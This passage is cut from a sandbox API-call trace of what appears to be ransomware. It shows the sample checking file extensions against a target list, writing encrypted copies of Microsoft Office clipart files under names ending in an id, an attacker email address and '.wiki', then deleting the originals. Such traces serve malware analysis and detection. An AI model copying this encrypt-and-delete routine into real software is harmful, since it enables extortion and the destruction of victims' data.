lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.400] lstrlenW (lpString=".xls") returned 4 [0199.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.400] lstrlenW (lpString=".xlsx") returned 5 [0199.400] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.400] lstrlenW (lpString=".ppt") returned 4 [0199.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.400] lstrlenW (lpString=".zip") returned 4 [0199.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.400] lstrlenW (lpString=".rar") returned 4 [0199.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.400] lstrlenW (lpString=".bz2") returned 4 [0199.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.400] lstrlenW (lpString=".7z") returned 3 [0199.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.400] lstrlenW (lpString=".dbf") returned 4 [0199.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.401] lstrlenW (lpString=".1cd") returned 4 [0199.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.401] lstrlenW (lpString=".jpg") returned 4 [0199.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.401] lstrlenW (lpString=".doc") returned 4 [0199.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.401] lstrlenW (lpString=".docx") returned 5 [0199.401] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.401] lstrlenW (lpString=".pdf") returned 4 [0199.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.401] lstrlenW (lpString=".xls") returned 4 [0199.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.401] lstrlenW (lpString=".xlsx") returned 5 [0199.401] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.401] lstrlenW (lpString=".ppt") returned 4 [0199.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.401] lstrlenW (lpString=".zip") returned 4 [0199.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.401] lstrlenW (lpString=".rar") returned 4 [0199.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.401] lstrlenW (lpString=".bz2") returned 4 [0199.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.401] lstrlenW (lpString=".7z") returned 3 [0199.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.402] lstrlenW (lpString=".dbf") returned 4 [0199.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.402] lstrlenW (lpString=".1cd") returned 4 [0199.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.402] lstrlenW (lpString=".jpg") returned 4 [0199.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.402] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.402] lstrlenW (lpString="J0183198.WMF") returned 12 [0199.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.402] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=24430) returned 1 [0199.403] CloseHandle (hObject=0x1fc) returned 1 [0199.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf")) returned 0x20 [0199.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.403] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.403] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.403] GetLastError () returned 0x0 [0199.404] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x5f6e, lpOverlapped=0x0) returned 1 [0199.424] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5f70, lpOverlapped=0x0) returned 1 [0199.425] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.425] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.426] SetEndOfFile (hFile=0x1cc) returned 1 [0199.426] CloseHandle (hObject=0x1cc) returned 1 [0199.426] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.426] SetEndOfFile (hFile=0x1fc) returned 1 [0199.427] CloseHandle (hObject=0x1fc) returned 1 [0199.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf")) returned 1 [0199.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.427] lstrlenW (lpString=".doc") returned 4 [0199.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.427] lstrlenW (lpString=".docx") returned 5 [0199.427] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.427] lstrlenW (lpString=".pdf") returned 4 [0199.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.427] lstrlenW (lpString=".xls") returned 4 [0199.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.427] lstrlenW (lpString=".xlsx") returned 5 [0199.427] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.427] lstrlenW (lpString=".ppt") returned 4 [0199.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.428] lstrlenW (lpString=".zip") returned 4 [0199.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.428] lstrlenW (lpString=".rar") returned 4 [0199.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.428] lstrlenW (lpString=".bz2") returned 4 [0199.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.428] lstrlenW (lpString=".7z") returned 3 [0199.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.428] lstrlenW (lpString=".dbf") returned 4 [0199.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.428] lstrlenW (lpString=".1cd") returned 4 [0199.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.428] lstrlenW (lpString=".jpg") returned 4 [0199.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.428] lstrlenW (lpString=".doc") returned 4 [0199.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.428] lstrlenW (lpString=".docx") returned 5 [0199.428] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.428] lstrlenW (lpString=".pdf") returned 4 [0199.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.428] lstrlenW (lpString=".xls") returned 4 [0199.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.428] lstrlenW (lpString=".xlsx") returned 5 [0199.428] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.429] lstrlenW (lpString=".ppt") returned 4 [0199.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.429] lstrlenW (lpString=".zip") returned 4 [0199.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.429] lstrlenW (lpString=".rar") returned 4 [0199.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.429] lstrlenW (lpString=".bz2") returned 4 [0199.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.429] lstrlenW (lpString=".7z") returned 3 [0199.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.429] lstrlenW (lpString=".dbf") returned 4 [0199.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.429] lstrlenW (lpString=".1cd") returned 4 [0199.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0199.429] lstrlenW (lpString=".jpg") returned 4 [0199.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.429] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.429] lstrlenW (lpString="J0185774.WMF") returned 12 [0199.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.430] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=20038) returned 1 [0199.430] CloseHandle (hObject=0x1fc) returned 1 [0199.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf")) returned 0x20 [0199.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.430] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.430] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.431] GetLastError () returned 0x0 [0199.431] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4e46, lpOverlapped=0x0) returned 1 [0199.449] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4e50, lpOverlapped=0x0) returned 1 [0199.450] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.450] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.450] SetEndOfFile (hFile=0x1cc) returned 1 [0199.451] CloseHandle (hObject=0x1cc) returned 1 [0199.451] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.451] SetEndOfFile (hFile=0x1fc) returned 1 [0199.452] CloseHandle (hObject=0x1fc) returned 1 [0199.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf")) returned 1 [0199.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.452] lstrlenW (lpString=".doc") returned 4 [0199.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.452] lstrlenW (lpString=".docx") returned 5 [0199.452] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0199.452] lstrlenW (lpString=".pdf") returned 4 [0199.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.452] lstrlenW (lpString=".xls") returned 4 [0199.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.452] lstrlenW (lpString=".xlsx") returned 5 [0199.452] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0199.452] lstrlenW (lpString=".ppt") returned 4 [0199.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.452] lstrlenW (lpString=".zip") returned 4 [0199.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.453] lstrlenW (lpString=".rar") returned 4 [0199.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.453] lstrlenW (lpString=".bz2") returned 4 [0199.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.453] lstrlenW (lpString=".7z") returned 3 [0199.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.453] lstrlenW (lpString=".dbf") returned 4 [0199.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.453] lstrlenW (lpString=".1cd") returned 4 [0199.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.453] lstrlenW (lpString=".jpg") returned 4 [0199.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.453] lstrlenW (lpString=".doc") returned 4 [0199.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.453] lstrlenW (lpString=".docx") returned 5 [0199.453] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0199.453] lstrlenW (lpString=".pdf") returned 4 [0199.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.453] lstrlenW (lpString=".xls") returned 4 [0199.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.453] lstrlenW (lpString=".xlsx") returned 5 [0199.453] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0199.453] lstrlenW (lpString=".ppt") returned 4 [0199.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.454] lstrlenW (lpString=".zip") returned 4 [0199.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.454] lstrlenW (lpString=".rar") returned 4 [0199.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.454] lstrlenW (lpString=".bz2") returned 4 [0199.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.454] lstrlenW (lpString=".7z") returned 3 [0199.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.454] lstrlenW (lpString=".dbf") returned 4 [0199.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.454] lstrlenW (lpString=".1cd") returned 4 [0199.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0199.454] lstrlenW (lpString=".jpg") returned 4 [0199.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.454] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.454] lstrlenW (lpString="J0185780.WMF") returned 12 [0199.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.455] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=59734) returned 1 [0199.455] CloseHandle (hObject=0x1fc) returned 1 [0199.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf")) returned 0x20 [0199.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.455] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.455] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.456] GetLastError () returned 0x0 [0199.456] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xe956, lpOverlapped=0x0) returned 1 [0199.484] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe960, lpOverlapped=0x0) returned 1 [0199.486] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.486] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.486] SetEndOfFile (hFile=0x1cc) returned 1 [0199.487] CloseHandle (hObject=0x1cc) returned 1 [0199.487] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.487] SetEndOfFile (hFile=0x1fc) returned 1 [0199.488] CloseHandle (hObject=0x1fc) returned 1 [0199.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf")) returned 1 [0199.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.488] lstrlenW (lpString=".doc") returned 4 [0199.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.488] lstrlenW (lpString=".docx") returned 5 [0199.488] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.488] lstrlenW (lpString=".pdf") returned 4 [0199.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.488] lstrlenW (lpString=".xls") returned 4 [0199.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.489] lstrlenW (lpString=".xlsx") returned 5 [0199.489] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.489] lstrlenW (lpString=".ppt") returned 4 [0199.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.489] lstrlenW (lpString=".zip") returned 4 [0199.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.489] 